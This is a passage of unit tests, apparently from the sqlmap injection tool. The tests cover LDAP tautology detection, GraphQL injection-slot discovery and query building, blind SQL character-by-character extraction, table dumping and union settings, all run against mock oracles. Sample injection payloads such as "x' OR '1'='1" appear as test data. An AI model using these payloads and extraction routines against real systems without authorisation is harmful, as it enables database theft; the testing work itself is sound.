test_boolean_error_true_returns_none(self): + self.assertIsNone(ldap._boolean(lambda: "Invalid DN syntax (34)", + lambda: "anything")) + + def test_detect_boolean_finds_tautology(self): + # the fake oracle returns a stable TRUE page for any tautology assertion + # '(objectClass=*' / '(uid=*' / '(cn=*' and a distinct FALSE page for SENTINEL + template, payload, breakout = ldap._detectBoolean(PLACE.GET, "user") + self.assertIsNotNone(template) + self.assertIsNotNone(breakout) + self.assertIn("=*", payload) + + +# =========================================================================== +# GraphQL: lib/techniques/graphql/inject.py +# =========================================================================== + +class TestGraphqlPureHelpers(unittest.TestCase): + def test_unwrap_type_chain(self): + t = {"kind": "NON_NULL", "name": None, + "ofType": {"kind": "LIST", "name": None, + "ofType": {"kind": "SCALAR", "name": "String"}}} + self.assertEqual(gql._unwrapType(t), + [("NON_NULL", None), ("LIST", None), ("SCALAR", "String")]) + + def test_unwrap_type_depth_guard(self): + # malformed / non-dict terminates without recursion error + self.assertEqual(gql._unwrapType("notadict"), []) + + def test_leaf_name(self): + chain = [("NON_NULL", None), ("SCALAR", "Int")] + self.assertEqual(gql._leafName(chain), "Int") + self.assertIsNone(gql._leafName([("LIST", None)])) + + def test_classify_arg(self): + self.assertEqual(gql._classifyArg({"kind": "SCALAR", "name": "String"}), "string") + self.assertEqual(gql._classifyArg({"kind": "SCALAR", "name": "Int"}), "numeric") + self.assertEqual(gql._classifyArg({"kind": "SCALAR", "name": "ID"}), "id_dual") + self.assertIsNone(gql._classifyArg({"kind": "SCALAR", "name": "DateTime"})) + + def test_escape_graphql_string(self): + self.assertEqual(gql._escapeGraphQLString('a"b\\c'), 'a\\"b\\\\c') + self.assertEqual(gql._escapeGraphQLString("a\nb"), "a\\nb") + + def test_cell(self): + self.assertEqual(gql._cell(None), "NULL") + self.assertEqual(gql._cell({"b": 1, "a": 2}), '{"a": 2, "b": 1}') + self.assertEqual(gql._cell("plain"), "plain") + self.assertEqual(gql._cell(7), "7") + + def test_chunks(self): + self.assertEqual(list(gql._chunks([1, 2, 3, 4, 5], 2)), [[1, 2], [3, 4], [5]]) + + def test_render_arg(self): + self.assertEqual(gql._renderArg("id", "5", "numeric"), "id:5") + self.assertEqual(gql._renderArg("n", "hi", "string"), 'n:"hi"') + self.assertEqual(gql._renderArg("id", "9", "id_dual"), "id:9") # digit -> bare + self.assertEqual(gql._renderArg("id", "ab", "id_dual"), 'id:"ab"') # non-digit -> quoted + + def test_render_type_str(self): + self.assertEqual(gql._renderTypeStr(gql._unwrapType( + {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String"}})), "String!") + self.assertEqual(gql._renderTypeStr(gql._unwrapType( + {"kind": "LIST", "name": None, "ofType": {"kind": "OBJECT", "name": "User"}})), "[User]") + + def test_parse_json(self): + self.assertEqual(gql._parseJSON('{"a": 1}'), {"a": 1}) + self.assertIsNone(gql._parseJSON("not json")) + self.assertIsNone(gql._parseJSON("")) + + def test_is_graphql_response(self): + self.assertTrue(gql._isGraphQLResponse('{"data": {"__typename": "Query"}}')) + self.assertFalse(gql._isGraphQLResponse('{"data": {"id": 1}}')) + self.assertFalse(gql._isGraphQLResponse("[]")) + + def test_error_text(self): + page = '{"errors": [{"message": "boom", "extensions": {"code": "BAD"}}]}' + text = gql._errorText(page) + self.assertIn("boom", text) + self.assertIn("BAD", text) + self.assertEqual(gql._errorText("{}"), "") + + def test_slot_value(self): + self.assertEqual(gql._slotValue('{"data": {"f": {"x": 1}}}'), '{"x": 1}') + # non-graphql passes through unchanged + self.assertEqual(gql._slotValue("raw"), "raw") + + def _nn(self, inner): + return {"kind": "NON_NULL", "ofType": inner} + + def test_render_sibling_omits_optionals(self): + # OPTIONAL argument (not NON_NULL) with no default -> OMITTED (None), never a bogus sentinel + # that would invalidate the query and cause a false negative + self.assertIsNone(gql._renderSibling("limit", {"kind": "SCALAR", "name": "Int"}, None)) + self.assertIsNone(gql._renderSibling("active", {"kind": "SCALAR", "name": "Boolean"}, None)) + self.assertIsNone(gql._renderSibling("tags", {"kind": "LIST"}, None)) + + def test_render_sibling_required_native_syntax(self): + # REQUIRED (NON_NULL) argument with no default -> synthesize NATIVE syntax per kind + self.assertEqual(gql._renderSibling("limit", self._nn({"kind": "SCALAR", "name": "Int"}), None), "limit:0") + self.assertEqual(gql._renderSibling("q", self._nn({"kind": "SCALAR", "name": "String"}), None), 'q:"x"') + self.assertEqual(gql._renderSibling("active", self._nn({"kind": "SCALAR", "name": "Boolean"}), None), "active:false") + self.assertEqual(gql._renderSibling("ids", self._nn({"kind": "LIST", "ofType": {"kind": "SCALAR", "name": "Int"}}), None), "ids:[]") + self.assertEqual(gql._renderSibling("cfg", self._nn({"kind": "INPUT_OBJECT", "name": "Cfg"}), None), "cfg:{}") + + def test_required_nested_input_object_is_recursively_populated(self): + # SearchInput!{ filter: FilterInput!{ term: String! (req), note: String (opt) } }: a required + # nested input must populate its REQUIRED inner fields recursively, not emit a bare {} the + # server rejects; optional inner fields are omitted + gql._inputFields.clear() + gql._inputFields["SearchInput"] = [("filter", self._nn({"kind": "INPUT_OBJECT", "name": "FilterInput"}), None)] + gql._inputFields["FilterInput"] = [ + ("term", self._nn({"kind": "SCALAR", "name": "String"}), None), + ("note", {"kind": "SCALAR", "name": "String"}, None), + ] + try: + out = gql._renderSibling("input", self._nn({"kind": "INPUT_OBJECT", "name": "SearchInput"}), None) + self.assertEqual(out, 'input:{filter:{term:"x"}}') # required term populated, optional note omitted + finally: + gql._inputFields.clear() + + def test_recursive_input_cycle_is_bounded(self): + # a self-referential required input must not recurse forever - it terminates at {} + gql._inputFields.clear() + gql._inputFields["Node"] = [("child", self._nn({"kind": "INPUT_OBJECT", "name": "Node"}), None)] + try: + out = gql._renderSibling("n", self._nn({"kind": "INPUT_OBJECT", "name": "Node"}), None) + self.assertTrue(out.startswith("n:{child:")) + self.assertIn("{}", out) # cycle broken with a bare {} + finally: + gql._inputFields.clear() + + def test_render_sibling_required_enum_uses_bare_identifier(self): + gql._enumValues.clear() + gql._enumValues["Role"] = ["ADMIN", "USER"] + try: + self.assertEqual(gql._renderSibling("role", self._nn({"kind": "ENUM", "name": "Role"}), None), "role:ADMIN") + finally: + gql._enumValues.clear() + + def test_render_sibling_default_emitted_verbatim(self): + # a schema defaultValue is ALREADY a serialized GraphQL literal -> emit VERBATIM, never re-quote + self.assertEqual(gql._renderSibling("active", {"kind": "SCALAR", "name": "Boolean"}, "true"), "active:true") + self.assertEqual(gql._renderSibling("role", {"kind": "ENUM", "name": "Role"}, "ADMIN"), "role:ADMIN") + self.assertEqual(gql._renderSibling("ids", {"kind": "LIST"}, "[1, 2]"), "ids:[1, 2]") + self.assertEqual(gql._renderSibling("filter", {"kind": "INPUT_OBJECT"}, "{a: 1}"), "filter:{a: 1}") + self.assertEqual(gql._renderSibling("n", {"kind": "SCALAR", "name": "Int"}, "5"), "n:5") + self.assertEqual(gql._renderSibling("q", {"kind": "SCALAR", "name": "String"}, '"hello"'), 'q:"hello"') + + def _nnInput(self, name): + return {"kind": "NON_NULL", "ofType": {"kind": "INPUT_OBJECT", "name": name}} + + def test_deep_nested_input_slot_discovered_and_rendered(self): + # search(input: SearchInput!{ filter: FilterInput!{ credentials: Creds!{ username: String! } } }) + # the injectable leaf is input.filter.credentials.username, THREE levels deep - it must be both + # DISCOVERED as a slot and RENDERED as the full nested literal + gql._inputFields.clear() + gql._inputFields["SearchInput"] = [("filter", self._nnInput("FilterInput"), None)] + gql._inputFields["FilterInput"] = [("credentials", self._nnInput("Creds"), None)] + gql._inputFields["Creds"] = [("username", self._nn({"kind": "SCALAR", "name": "String"}), None)] + try: + slots = [] + gql._inputSlots("query", "Query", "search", + [("input", self._nnInput("SearchInput"), None)], + "input", self._nnInput("SearchInput"), + "OBJECT", "User", "{ id }", + {"SearchInput": {"kind": "INPUT_OBJECT", "name": "SearchInput", "inputFields": [{"name": "filter", "type": self._nnInput("FilterInput")}]}, + "FilterInput": {"kind": "INPUT_OBJECT", "name": "FilterInput", "inputFields": [{"name": "credentials", "type": self._nnInput("Creds")}]}, + "Creds": {"kind": "INPUT_OBJECT", "name": "Creds", "inputFields": [{"name": "username", "type": self._nn({"kind": "SCALAR", "name": "String"})}]}}, + slots) + paths = [s.targetArg for s in slots] + self.assertIn("input.filter.credentials.username", paths) + + slot = [s for s in slots if s.targetArg == "input.filter.credentials.username"][0] + q = gql._buildQuery(slot, "PWN") + self.assertIn('input: {filter:{credentials:{username:"PWN"}}}', q) + finally: + gql._inputFields.clear() + + def test_recursive_input_slot_cycle_bounded(self): + # a self-referential input object must not loop forever during slot discovery + gql._inputFields.clear() + gql._inputFields["Node"] = [("child", self._nnInput("Node"), None), ("val", self._nn({"kind": "SCALAR", "name": "String"}), None)] + try: + slots = [] + tbn = {"Node": {"kind": "INPUT_OBJECT", "name": "Node", "inputFields": [ + {"name": "child", "type": self._nnInput("Node")}, {"name": "val", "type": self._nn({"kind": "SCALAR", "name": "String"})}]}} + gql._inputSlots("mutation", "Mutation", "f", [("n", self._nnInput("Node"), None)], + "n", self._nnInput("Node"), "OBJECT", "R", "{ id }", tbn, slots) + self.assertTrue(any(s.targetArg.endswith(".val") for s in slots)) # terminates + finds a leaf + finally: + gql._inputFields.clear() + + +# A minimal but realistic introspection schema: query user(id: String, limit: Int): User +_GQL_SCHEMA = { + "queryType": {"name": "Query"}, + "mutationType": {"name": "Mutation"}, + "types": [ + {"kind": "OBJECT", "name": "Query", "fields": [ + {"name": "user", "args": [ + {"name": "id", "type": {"kind": "SCALAR", "name": "String"}, "defaultValue": None}, + {"name": "limit", "type": {"kind": "SCALAR", "name": "Int"}, "defaultValue": None}, + ], "type": {"kind": "OBJECT", "name": "User"}}, + ]}, + {"kind": "OBJECT", "name": "Mutation", "fields": [ + {"name": "addUser", "args": [ + {"name": "name", "type": {"kind": "SCALAR", "name": "String"}, "defaultValue": None}, + ], "type": {"kind": "OBJECT", "name": "User"}}, + ]}, + {"kind": "OBJECT", "name": "User", "fields": [ + {"name": "name", "type": {"kind": "SCALAR", "name": "String"}, "args": []}, + {"name": "uid", "type": {"kind": "SCALAR", "name": "ID"}, "args": []}, + ]}, + ], +} + + +class TestGraphqlSchemaWalk(unittest.TestCase): + def setUp(self): + self._sfields = dict(gql._inputFields) + + def tearDown(self): + gql._inputFields.clear() + gql._inputFields.update(self._sfields) + + def test_extract_slots(self): + slots = gql._extractSlots(_GQL_SCHEMA) + byArg = dict((s.targetArg, s) for s in slots) + self.assertIn("id", byArg) + self.assertEqual(byArg["id"].strategy, "string") + self.assertEqual(byArg["id"].operation, "query") + self.assertIn("limit", byArg) + self.assertEqual(byArg["limit"].strategy, "numeric") + # the mutation slot is harvested too (reported but not exercised by the scanner) + self.assertIn("name", byArg) + self.assertEqual(byArg["name"].operation, "mutation") + + def test_return_selection_set(self): + slots = gql._extractSlots(_GQL_SCHEMA) + slot = next(s for s in slots if s.targetArg == "id") + self.assertEqual(slot.returnKind, "OBJECT") + self.assertIn("name", slot.returnSel) + self.assertIn("uid", slot.returnSel) + + def test_scalar_fields(self): + typeByName = {"User": _GQL_SCHEMA["types"][2], + "String": {"kind": "SCALAR", "name": "String"}, + "ID": {"kind": "SCALAR", "name": "ID"}} + names = gql._scalarFields(_GQL_SCHEMA["types"][2], typeByName) + self.assertEqual(set(names), {"name", "uid"}) + + def test_render_selection(self): + self.assertIsNone(gql._renderSelection("SCALAR", "String", [], {})) + sel = gql._renderSelection("OBJECT", "User", ["name", "uid"], {}) + self.assertEqual(sel, "{ name uid }") + + +class TestGraphqlQueryBuilding(unittest.TestCase): + def setUp(self): + self._sfields = dict(gql._inputFields) + self.slots = gql._extractSlots(_GQL_SCHEMA) + self.strSlot = next(s for s in self.slots if s.targetArg == "id") + self.numSlot = next(s for s in self.slots if s.targetArg == "limit") + + def tearDown(self): + gql._inputFields.clear() + gql._inputFields.update(self._sfields) + + def test_build_query_string_arg(self): + q = gql._buildQuery(self.strSlot, "x' OR '1'='1") + self.assertTrue(q.startswith("{user:user(")) + self.assertIn('id:"x\' OR \'1\'=\'1"', q) + self.assertNotIn("limit", q) # optional sibling with no default is OMITTED (P0-2) + self.assertIn("{ name uid }", q) + + def test_build_query_numeric_rejects_non_numeric(self): + self.assertEqual(gql._buildQuery(self.numSlot, "notanumber"), "") + + def test_build_query_numeric_accepts_digit(self): + self.assertIn("limit:42", gql._buildQuery(self.numSlot, "42")) + + def test_build_batch(self): + query, aliases = gql._buildBatch(self.strSlot, ["a", "b", "c"]) + self.assertEqual(aliases, ["a0", "a1", "a2"]) + self.assertIn("a0:user(", query) + self.assertIn("a2:user(", query) + + def test_build_batch_aborts_on_unembeddable(self): + query, aliases = gql._buildBatch(self.numSlot, ["1", "notnum"]) + self.assertEqual((query, aliases), ("", [])) + + def test_mutation_prefix(self): + mutSlot = next(s for s in self.slots if s.operation == "mutation") + self.assertTrue(gql._buildQuery(mutSlot, "x").startswith("mutation {")) + + +def _make_sql_truth(secret, dialect): + """A generic boolean SQL oracle: evaluate the LENGTH / ASCII-SUBSTRING / bit predicates + that _inferExpr / _inferExprBatched emit, against a known `secret`, using `dialect`'s + rendering. Independent of the concrete expression text.""" + + def truth(cond): + m = re.search(r"(?:CHAR_LENGTH|LENGTH|LEN)\(\((.+?)\)\)\s*(>=|>|=)\s*(\d+)", cond) + if m: + op, n, L = m.group(2), int(m.group(3)), len(secret) + return (L >= n) if op == ">=" else (L > n) if op == ">" else (L == n) + m = re.search(r"\((?:ASCII|UNICODE)\((?:SUBSTRING|SUBSTR)\(\((.+?)\),(\d+),1\)\)\s*&\s*(\d+)\)>0", cond) + if m: + pos, bit = int(m.group(2)), int(m.group(3)) + c = ord(secret[pos - 1]) if pos - 1 < len(secret) else 0 + return (c & bit) > 0 + m = re.search(r"(?:ASCII|UNICODE)\((?:SUBSTRING|SUBSTR)\(\((.+?)\),(\d+),1\)\)\s*(>=|>|=)\s*(\d+)", cond) + if m: + pos, op, n = int(m.group(2)), m.group(3), int(m.group(4)) + c = ord(secret[pos - 1]) if pos - 1 < len(secret) else 0 + return (c >= n) if op == ">=" else (c > n) if op == ">" else (c == n) + if cond == "1=1": + return True + if cond == "1=2": + return False + return False + + return truth + + +class TestGraphqlBlindInference(unittest.TestCase): + DIALECT = gql.DIALECTS["MySQL"] + + def test_infer_expr_recovers_string(self): + truth = _make_sql_truth("Hello", self.DIALECT) + self.assertEqual(gql._inferExpr(truth, self.DIALECT, "version()"), "Hello") + + def test_infer_expr_recovers_with_symbols(self): + secret = "root@%" + truth = _make_sql_truth(secret, self.DIALECT) + self.assertEqual(gql._inferExpr(truth, self.DIALECT, "CURRENT_USER()"), secret) + + def test_infer_expr_recovers_non_ascii(self): + secret = u"caf\u00e9\u2603" # e-acute (U+00E9) + snowman (U+2603): beyond printable ASCII + truth = _make_sql_truth(secret, self.DIALECT) + self.assertEqual(gql._inferExpr(truth, self.DIALECT, "note"), secret) + + def test_infer_expr_empty_value(self): + truth = _make_sql_truth("", self.DIALECT) + self.assertEqual(gql._inferExpr(truth, self.DIALECT, "expr"), "") + + def test_infer_expr_batched_recovers_string(self): + secret = "MariaDB" + truth = _make_sql_truth(secret, self.DIALECT) + truthBatch = lambda conds: [truth(c) for c in conds] + self.assertEqual(gql._inferExprBatched(truthBatch, truth, self.DIALECT, "version()"), secret) + + def test_infer_expr_batched_recovers_non_ascii(self): + secret = u"caf\u00e9\u2603" + truth = _make_sql_truth(secret, self.DIALECT) + truthBatch = lambda conds: [truth(c) for c in conds] + self.assertEqual(gql._inferExprBatched(truthBatch, truth, self.DIALECT, "note"), secret) + + def test_infer_expr_batched_empty(self): + truth = _make_sql_truth("", self.DIALECT) + truthBatch = lambda conds: [truth(c) for c in conds] + self.assertEqual(gql._inferExprBatched(truthBatch, truth, self.DIALECT, "expr"), "") + + def test_inferrer_picks_batched_when_supported(self): + secret = "abc" + truth = _make_sql_truth(secret, self.DIALECT) + truthBatch = lambda conds: [truth(c) for c in conds] + infer = gql._inferrer(truth, truthBatch, self.DIALECT) + self.assertEqual(infer("version()"), secret) + + def test_inferrer_falls_back_to_sequential(self): + secret = "xyz" + truth = _make_sql_truth(secret, self.DIALECT) + infer = gql._inferrer(truth, None, self.DIALECT) + self.assertEqual(infer("version()"), secret) + + def test_fingerprint(self): + for dbms, dialect in gql.DIALECTS.items(): + truth = lambda cond, expected=dialect.fingerprint: cond == expected + self.assertEqual(gql._fingerprint(truth), dbms) + + def test_fingerprint_unknown(self): + self.assertIsNone(gql._fingerprint(lambda cond: False)) + + +class TestGraphqlDumpTable(unittest.TestCase): + DIALECT = gql.DIALECTS["MySQL"] + + def test_dump_table_grid(self): + # Columns and rows are BOTH enumerated by ordinal position (COUNT + per-index), + # never a whole-list GROUP_CONCAT the back-end would silently truncate. + d = self.DIALECT + colFrom = d.columnFrom("users") + responses = { + "(SELECT COUNT(*) %s)" % colFrom: "2", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name", + "(SELECT COUNT(*) FROM %s)" % d.fromIdent("users"): "2", + d.row(["id", "name"], "users", 0): gql.COL_SEP.join(("1", "alice")), + d.row(["id", "name"], "users", 1): gql.COL_SEP.join(("2", "bob")), + } + + def infer(expr, maxLen=gql.MAX_LENGTH): + return responses.get(expr) + + columns, rows = gql._dumpTable(infer, self.DIALECT, "users") + self.assertEqual(columns, ["id", "name"]) + self.assertEqual(rows, [["1", "alice"], ["2", "bob"]]) + + def test_dump_table_no_columns(self): + self.assertIsNone(gql._dumpTable(lambda e, maxLen=0: "", self.DIALECT, "users")) + + +class TestGraphqlParseRows(unittest.TestCase): + def test_parse_rows_list(self): + page = '{"data": {"users": [{"id": 1, "name": "a"}, {"id": 2, "name": "b"}]}}' + columns, rows = gql._parseRows(page, None) + self.assertEqual(columns, ["id", "name"]) + self.assertEqual(rows, [["1", "a"], ["2", "b"]]) + + def test_parse_rows_single_object(self): + page = '{"data": {"user": {"id": 7, "name": "z"}}}' + columns, rows = gql._parseRows(page, None) + self.assertEqual(columns, ["id", "name"]) + self.assertEqual(rows, [["7", "z"]]) + + def test_parse_rows_null_data(self): + self.assertIsNone(gql._parseRows('{"data": {"user": null}}', None)) + + def test_parse_rows_non_json(self): + self.assertIsNone(gql._parseRows("not json", None)) + + def test_grid_empty(self): + self.assertEqual(gql._grid([], []), "(empty)") + + def test_grid_renders(self): + out = gql._grid(["a", "b"], [["1", "22"]]) + self.assertIn("| a | b |", out) + self.assertIn("| 1 | 22 |", out) + + +# =========================================================================== +# Blind inference: lib/techniques/blind/inference.py +# =========================================================================== + +# bisection forges: safeStringFormat(payload, (expression, idx, posValue)); '>' is the +# greater-char marker (swapped to '=' on the final equality check). A parseable template +# lets the mock oracle recover (idx, operator, threshold) and answer against a known secret. +TEMPLATE = "EXPR=%s IDX=%d CMP>%d" +_PARSE = re.compile(r"IDX=(\d+) CMP(.)(\d+)") + +# conf/kb knobs bisection reads on the simple single-threaded, no-prediction path +_CONF = {"threads": 1, "api": False, "verbose": 0, "hexConvert": False, + "charset": None, "firstChar": None, "lastChar": None, "timeSec": 5, "eta": False, + "repair": False, "flushSession": None, "freshQueries": None, "hashDB": None} +_KB = {"partRun": None, "safeCharEncode": False, "bruteMode": False, "fileReadMode": False, + "disableShiftTable": False, "originalTimeDelay": 5, "prependFlag": False, + "resumeValues": True, "inferenceMode": False} + + +class _InferenceCase(unittest.TestCase): + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in _CONF} + self._saved_kb = {k: kb.get(k) for k in _KB} + self._saved_qp = Connect.queryPage + self._saved_processChar = kb.data.get("processChar") + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + kb.data.processChar = None + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + kb.data.processChar = self._saved_processChar + Connect.queryPage = self._saved_qp + inf.Request.queryPage = self._saved_qp + + def _install_oracle(self, secret): + def oracle(payload=None, *args, **kwargs): + m = _PARSE.search(payload) + idx, op, threshold = int(m.group(1)), m.group(2), int(m.group(3)) + ch = ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 + return (ch > threshold) if op == ">" else (ch == threshold) + + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) + + @staticmethod + def _reset_thread(): + td = getCurrentThreadData() + td.shared.value = "" + td.shared.index = [0] + td.shared.start = 0 + td.shared.count = 0 + + def _bisect(self, secret, expression="SELECT secret", length=None, **kwargs): + self._install_oracle(secret) + self._reset_thread() + if length is None: + length = len(secret) + return inf.bisection(TEMPLATE, expression, length=length, **kwargs) + + +class TestTrivialReturns(_InferenceCase): + def test_none_payload(self): + # payload is None -> (0, None) without ever touching the oracle + self.assertEqual(inf.bisection(None, "SELECT x"), (0, None)) + + def test_zero_length(self): + # length == 0 -> (0, "") short-circuit + self._install_oracle("ignored") + self._reset_thread() + self.assertEqual(inf.bisection(TEMPLATE, "SELECT x", length=0), (0, "")) + + +class TestRangeLimiting(_InferenceCase): + SECRET = "ABCDEFGH" + + def test_first_char_arg(self): + # firstChar=3 -> start from the 3rd character (1-based) -> drop "AB" + _, value = self._bisect(self.SECRET, firstChar=3) + self.assertEqual(value, "CDEFGH") + + def test_last_char_arg(self): + # lastChar=4 -> stop after the 4th character + _, value = self._bisect(self.SECRET, lastChar=4) + self.assertEqual(value, "ABCD") + + def test_conf_first_char(self): + conf.firstChar = 4 + _, value = self._bisect(self.SECRET) + self.assertEqual(value, "DEFGH") + + def test_conf_last_char(self): + conf.lastChar = 3 + _, value = self._bisect(self.SECRET) + self.assertEqual(value, "ABC") + + def test_first_and_last_window(self): + # combined window: chars 3..6 inclusive -> "CDEF" + _, value = self._bisect(self.SECRET, firstChar=3, lastChar=6) + self.assertEqual(value, "CDEF") + + +class TestHexConvert(_InferenceCase): + def test_hex_output_decoded(self): + # --hex: the retrieved value is a hex string the engine decodes on the way out + conf.hexConvert = True + hexed = "48656C6C6F" # "Hello" + _, value = self._bisect(hexed) + self.assertEqual(value, "Hello") + self.assertEqual(value, decodeDbmsHexValue(hexed)) + + +class TestHexEncodedShortcutsGated(_InferenceCase): + """Under --hex / --binary-fields the expression is HEX()-wrapped, so the whole-value equality + shortcuts (low-card guess, oracle litmus) compare a hex-DECODED value against it and always miss - + wasting a probe per cell and tripping a spurious "unreliable" alarm. They must be skipped there. + Spying valueMatchCondition (the guess calls it first, 'continue's on None) and the litmus lets us + see whether each shortcut was reached without a full injection/agent context.""" + + _EXTRA_KB = ("lowCardCache", "dumpCharset", "dumpCharsetStable", "litmusCounter", + "reliabilityAlarm", "huffmanModel", "multiThreadMode", "commonOutputs") + + def setUp(self): + _InferenceCase.setUp(self) + self._saved_extra_kb = {k: kb.get(k) for k in self._EXTRA_KB} + self._saved_noHuffman = conf.get("noHuffman") + self._saved_binaryFields = conf.get("binaryFields") + self._saved_dbms = kb.get("dbms") + self._saved_vmc = inf.valueMatchCondition + self._saved_litmus = inf.oracleReliabilityLitmus + conf.noHuffman = True # keep extraction on the classic '>' bisection path + conf.binaryFields = None + # bisection only builds the nulled/casted (and HEX-wrapped) expression - the step that sets + # kb.binaryField - when Backend.getDbms() is truthy; set_dbms() only forces getIdentifiedDbms() + kb.dbms = "MySQL" + kb.lowCardCache = {} + kb.dumpCharset = {} + kb.dumpCharsetStable = {} + kb.litmusCounter = 0 + kb.reliabilityAlarm = False + kb.huffmanModel = {} + kb.multiThreadMode = False + kb.commonOutputs = None + + def tearDown(self): + inf.valueMatchCondition = self._saved_vmc + inf.oracleReliabilityLitmus = self._saved_litmus + conf.noHuffman = self._saved_noHuffman + conf.binaryFields = self._saved_binaryFields + kb.dbms = self._saved_dbms + for k, v in self._saved_extra_kb.items(): + kb[k] = v + _InferenceCase.tearDown(self) + + _HEXED = "48656C6C6F" # hex of "Hello"; all-ASCII so the shortcuts are applicable + + def _run(self, hexConvert, expression="SELECT secret", binaryField=False): + conf.hexConvert = hexConvert + if binaryField: + conf.binaryFields = [agent.getFields(expression)[6]] # the field bisection will hex-wrap + # arm the low-cardinality cache for this column so the guess WOULD fire if not gated + kb.lowCardCache[inf.normalizedExpression(expression)] = {"Hello": 3} + calls = {"guess": 0, "litmus": 0} + + def vmc_spy(*args, **kwargs): + calls["guess"] += 1 + return None # None -> guess loop 'continue's: no probe, no agent context needed + + def litmus_spy(*args, **kwargs): + calls["litmus"] += 1 + return True + + inf.valueMatchCondition = vmc_spy + inf.oracleReliabilityLitmus = litmus_spy + _, value = self._bisect(self._HEXED, expression=expression, length=len(self._HEXED), dump=True) + return value, calls + + def test_shortcuts_fire_without_hex(self): + # control: on a normal dump both shortcuts are reached (proves the test can actually see them, + # so the skips below are the gate doing its job, not a dead assertion) + value, calls = self._run(hexConvert=False) + self.assertEqual(value, self._HEXED) # no decode without --hex + self.assertGreater(calls["guess"], 0, "low-card guess should run on a normal dump") + self.assertEqual(calls["litmus"], 1, "oracle litmus should run on a normal dump") + + def test_shortcuts_skipped_under_hex(self): + value, calls = self._run(hexConvert=True) + self.assertEqual(value, "Hello") # extraction still correct (decoded on the way out) + self.assertEqual(calls["guess"], 0, "low-card guess must be skipped when the expression is HEX-wrapped") + self.assertEqual(calls["litmus"], 0, "oracle litmus must be skipped when the expression is HEX-wrapped") + self.assertFalse(kb.reliabilityAlarm, "no false 'unreliable' alarm on a correct --hex dump") + + def test_shortcuts_skipped_under_binary_field(self): + value, calls = self._run(hexConvert=False, binaryField=True) + self.assertEqual(value, self._HEXED) + self.assertEqual(calls["guess"], 0, "shortcuts must be skipped for a --binary-fields column") + self.assertEqual(calls["litmus"], 0) + + +class TestProcessCharHook(_InferenceCase): + def test_process_char_applied_to_each_char(self): + # kb.data.processChar transforms every assembled character + kb.data.processChar = lambda c: c.upper() + _, value = self._bisect("abcde") + self.assertEqual(value, "ABCDE") + + +class TestResumeFromHashDB(_InferenceCase): + """bisection() consults the session store first (hashDBRetrieve(checkConf=True)). + Exercised against a REAL temporary SQLite HashDB (same approach as test_hashdb.py).""" + + def setUp(self): + _InferenceCase.setUp(self) + fd, self.path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(self.path) # HashDB creates it lazily + conf.hashDB = HashDB(self.path) + # hashDBRetrieve/Write key off these + self._saved_loc = (conf.get("hostname"), conf.get("path"), conf.get("port")) + conf.hostname = "test.invalid" + conf.path = "/" + conf.port = 80 + + def tearDown(self): + conf.hostname, conf.path, conf.port = self._saved_loc + try: + conf.hashDB.closeAll() + except Exception: + pass + if os.path.exists(self.path): + os.remove(self.path) + _InferenceCase.tearDown(self) + + def test_full_value_resumed(self): + # a complete cached value short-circuits the whole bisection (0 queries) + hashDBWrite("SELECT cached", "RESUMED") + conf.hashDB.flush() + count, value = self._bisect("ignored-secret", expression="SELECT cached", length=7) + self.assertEqual(value, "RESUMED") + self.assertEqual(count, 0) + + def test_partial_value_continued(self): + # a PARTIAL_VALUE_MARKER value is resumed-from: bisection keeps the prefix + # and extracts only the remaining characters + kb.inferenceMode = True # partial markers are honored only in inference mode + hashDBWrite("SELECT partial", "%sAB" % PARTIAL_VALUE_MARKER) + conf.hashDB.flush() + count, value = self._bisect("ABCDE", expression="SELECT partial", length=5) + self.assertEqual(value, "ABCDE") + self.assertGreater(count, 0) # it did real work for "CDE" + + +class TestQueryOutputLength(_InferenceCase): + def test_length_retrieved(self): + # queryOutputLength forges a LENGTH() expression and runs bisection with the + # DIGITS charset; the mock "secret" is the textual length itself + self._install_oracle("42") + self._reset_thread() + self.assertEqual(int(inf.queryOutputLength("SELECT data", TEMPLATE)), 42) + + def test_length_single_digit(self): + self._install_oracle("7") + self._reset_thread() + self.assertEqual(int(inf.queryOutputLength("SELECT data", TEMPLATE)), 7) + + def test_digits_charset_extracts_number(self): + # direct bisection with the DIGITS charset (queryOutputLength's inner call) + _, value = self._bisect("2026", charsetType=CHARSET_TYPE.DIGITS) + self.assertEqual(value, "2026") + + +class TestConfigUnion(unittest.TestCase): + """lib/techniques/union/use.py configUnion - pure parsing of --union-char / --union-cols.""" + + _CONF = {"uChar": None, "uCols": None, "uColsStart": 1, "uColsStop": 50} + + def setUp(self): + self._saved = {k: conf.get(k) for k in self._CONF} + self._saved_uchar = kb.get("uChar") + for k, v in self._CONF.items(): + conf[k] = v + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + kb.uChar = self._saved_uchar + + def test_char_and_range(self): + uu.configUnion(char="NULL", columns="2-6") + self.assertEqual(kb.uChar, "NULL") + self.assertEqual((conf.uColsStart, conf.uColsStop), (2, 6)) + + def test_single_column(self): + uu.configUnion(char="NULL", columns="4") + self.assertEqual((conf.uColsStart, conf.uColsStop), (4, 4)) + + def test_uchar_substitution_quoted(self): + # conf.uChar (non-digit) gets quoted and substituted into the [CHAR] template + conf.uChar = "test" + uu.configUnion(char="x[CHAR]x", columns="1") + self.assertEqual(kb.uChar, "x'test'x") + + def test_uchar_substitution_digit(self): + # a digit conf.uChar is substituted unquoted + conf.uChar = "88" + uu.configUnion(char="[CHAR]", columns="1") + self.assertEqual(kb.uChar, "88") + + def test_conf_ucols_overrides_columns_arg(self): + # conf.uCols takes precedence over the columns argument + conf.uCols = "3-9" + uu.configUnion(char="NULL", columns="1-2") + self.assertEqual((conf.uColsStart, conf.uColsStop), (3, 9)) + + def test_non_integer_range_raises(self): + self.assertRaises(SqlmapSyntaxException, uu.configUnion, char="NULL", columns="abc") + + def test_inverted_range_raises(self): + self.assertRaises(SqlmapSyntaxException, uu.configUnion, char="NULL", columns="9-2") + + def 